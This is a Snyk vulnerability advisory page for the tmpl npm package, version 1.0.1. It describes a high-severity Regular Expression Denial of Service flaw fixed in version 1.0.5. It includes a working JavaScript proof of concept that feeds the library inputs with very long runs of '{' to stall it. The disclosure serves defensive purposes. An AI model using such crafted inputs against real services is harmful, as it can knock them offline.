Homepage

tmpl@1.0.1 vulnerabilities

JavaScript micro templates.

  • latest version

    1.0.5

  • latest non vulnerable version

    1.0.5

  • first published

    14 years ago

  • latest version published

    4 years ago

  • licenses detected

  • View tmpl package health on Snyk Advisor  (opens in a new tab)
    • Go back to all versions of this package
    Report a new vulnerability Found a mistake?

    Direct Vulnerabilities

    Known vulnerabilities in the tmpl package. This does not include vulnerabilities belonging to this package’s dependencies.

    Fix vulnerabilities automatically

    Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Regular Expression Denial of Service (ReDoS)

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the main functionality.

    PoC

    var tmpl = require("tmpl")
for(var i = 1; i <= 1000; i++) {
        var time = Date.now();
        payload = "hello, " + "{".repeat(i*10000) + "day"
        tmpl(payload, {day: "tomorrow"})
        var time_taken = Date.now() - time;
        console.log("payload length: " + payload.length + " - time taken: " + time_taken + "ms")
}

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade tmpl to version 1.0.5 or higher.

    <1.0.5
    Go back to all versions of this package